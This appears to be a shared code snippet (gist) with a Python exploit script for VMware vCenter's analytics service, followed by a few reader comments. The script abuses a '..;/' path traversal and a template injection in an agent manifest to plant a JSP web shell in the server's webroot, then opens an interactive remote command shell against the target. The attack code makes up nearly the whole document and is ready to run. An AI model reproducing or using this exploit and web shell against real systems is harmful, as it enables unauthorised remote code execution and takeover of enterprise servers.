Created
September 28, 2021 16:05
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| import requests | |
| import random | |
| import string | |
| import sys | |
| import time | |
| import requests | |
| import urllib3 | |
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
| def id_generator(size=6, chars=string.ascii_lowercase + string.digits): | |
| return ''.join(random.choice(chars) for _ in range(size)) | |
| def escape(_str): | |
| _str = _str.replace("&", "&") | |
| _str = _str.replace("<", "<") | |
| _str = _str.replace(">", ">") | |
| _str = _str.replace("\"", """) | |
| return _str | |
| def run_shell(url, pwd, cmd): | |
| burp0_url = url | |
| burp0_headers = {"User-Agent": "Mozilla/5.0", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} | |
| burp0_data = {pwd: cmd.strip()} | |
| ct = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False).content | |
| ct = ct.split('<pre>')[1].split('</pre>')[0] | |
| return ct | |
| def createAgent(url, agent_name): | |
| burp0_url = url + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c="+agent_name+"&_i=test2" | |
| burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"} | |
| burp0_json={"manifestSpec":{}, "objectType": "a2", "collectionTriggerDataNeeded": True,"deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7","localPayloadPath": "a8","localObfuscationMapPath": "a9" } | |
| requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) | |
| pwd = id_generator(6) | |
| agent_name = id_generator(6) | |
| shell_name = id_generator(6)+".jsp" | |
| manifestData = """<manifest recommendedPageSize="500"> | |
| <request> | |
| <query name="vir:VCenter"> | |
| <constraint> | |
| <targetType>ServiceInstance</targetType> | |
| </constraint> | |
| <propertySpec> | |
| <propertyNames>content.about.instanceUuid</propertyNames> | |
| <propertyNames>content.about.osType</propertyNames> | |
| <propertyNames>content.about.build</propertyNames> | |
| <propertyNames>content.about.version</propertyNames> | |
| </propertySpec> | |
| </query> | |
| </request> | |
| <cdfMapping> | |
| <indepedentResultsMapping> | |
| <resultSetMappings> | |
| <entry> | |
| <key>vir:VCenter</key> | |
| <value> | |
| <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping"> | |
| <resourceItemToJsonLdMapping> | |
| <forType>ServiceInstance</forType> | |
| <mappingCode><![CDATA[ | |
| $GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setFile("/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s") | |
| $GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().activateOptions() | |
| $GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setAppend(false) | |
| $GLOBAL-logger.info('<%%@ page import="java.util.*,java.io.*"%%><HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%%if (request.getParameter("%s") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("%s")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%%></pre></BODY></HTML>') | |
| $GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setFile("/var/log/vmware/analytics/analytics.log") | |
| $GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().activateOptions() | |
| $GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setAppend(true) | |
| #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())## | |
| #set($objectId = "vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid")## | |
| #set($obj = $LOCAL-cdf20Result.newObject("vim.ServiceInstance", $objectId))## | |
| $obj.addProperty("OSTYPE", "asdasda")## | |
| $obj.addProperty("BUILD", $content-about-build)## | |
| $obj.addProperty("VERSION", $content-about-version)##]]> | |
| </mappingCode> | |
| </resourceItemToJsonLdMapping> | |
| </value> | |
| </value> | |
| </entry> | |
| </resultSetMappings> | |
| </indepedentResultsMapping> | |
| </cdfMapping> | |
| <requestSchedules> | |
| <schedule interval="1h"> | |
| <queries> | |
| <query>vir:VCenter</query> | |
| </queries> | |
| </schedule> | |
| </requestSchedules> | |
| </manifest>""" % (shell_name, pwd, pwd) | |
| target = sys.argv[1] | |
| print "Target: "+ target | |
| print "Creating Agent (of SHIELD) ..." | |
| createAgent(target, agent_name) | |
| print "Collecting Agent (of SHIELD) ..." | |
| burp0_url = target+"/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c="+agent_name+"&_i=test2" | |
| burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"} | |
| burp0_json={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"} | |
| requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False, proxies={"https":"http://127.0.0.1:8080"}) | |
| print "Success!" | |
| print "Shell: " + target+"/idm/..;/"+shell_name | |
| print "Pwd: "+ pwd | |
| print "Launching pseudo shell ..." | |
| while True: | |
| cmd = raw_input("/remote_shell/# ").strip() | |
| if(cmd =="quit"): | |
| sys.exit(-1) | |
| output = run_shell(target+"/idm/..;/"+shell_name,pwd, cmd) | |
| time.sleep(1) | |
| print(output) |
Is this a CVE?
Is this a CVE?
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Nice job! What artefacts would be left behind after running this? Just an agent and the webshell? How can the agent be cleared up?